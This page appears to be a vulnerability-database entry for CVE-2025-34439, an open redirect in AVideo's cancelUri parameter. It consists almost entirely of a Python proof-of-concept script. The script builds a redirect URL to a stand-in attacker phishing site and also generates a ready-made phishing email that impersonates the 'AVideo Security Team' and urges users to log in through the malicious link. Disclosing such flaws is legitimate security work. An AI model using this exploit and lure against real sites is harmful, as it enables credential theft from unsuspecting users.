CVE-2025-34439 | AVideo cancelUri参数开放重定向漏洞

import urllib.parse # CVE-2025-34439 PoC - AVideo Open Redirect via cancelUri Parameter # Author: VulnCheck # Target: AVideo < 20.1 def generate_open_redirect_payload(target_url, malicious_url): """ Generate malicious URL with open redirect payload Args: target_url: Base URL of vulnerable AVideo instance malicious_url: Attacker's controlled URL for redirection Returns: Malicious URL string """ encoded_malicious = urllib.parse.quote(malicious_url, safe='') # Construct the exploit URL with cancelUri parameter exploit_url = f"{target_url}/?redirectUri=1&cancelUri={encoded_malicious}" return exploit_url def generate_phishing_template(exploit_url): """ Generate phishing email/message template Args: exploit_url: The crafted exploit URL Returns: Phishing message template """ template = f""" Subject: Please verify your AVideo account Dear User, We have detected unusual activity on your AVideo account. Please verify your identity by logging in through the link below: {exploit_url} If you did not request this verification, please ignore this email. Best regards, AVideo Security Team """ return template # Example usage if __name__ == "__main__": target = "https://vulnerable-avideo-site.com" malicious = "https://attacker-controlled-site.com/phishing" exploit = generate_open_redirect_payload(target, malicious) print(f"Exploit URL: {exploit}") phishing_msg = generate_phishing_template(exploit) print(phishing_msg)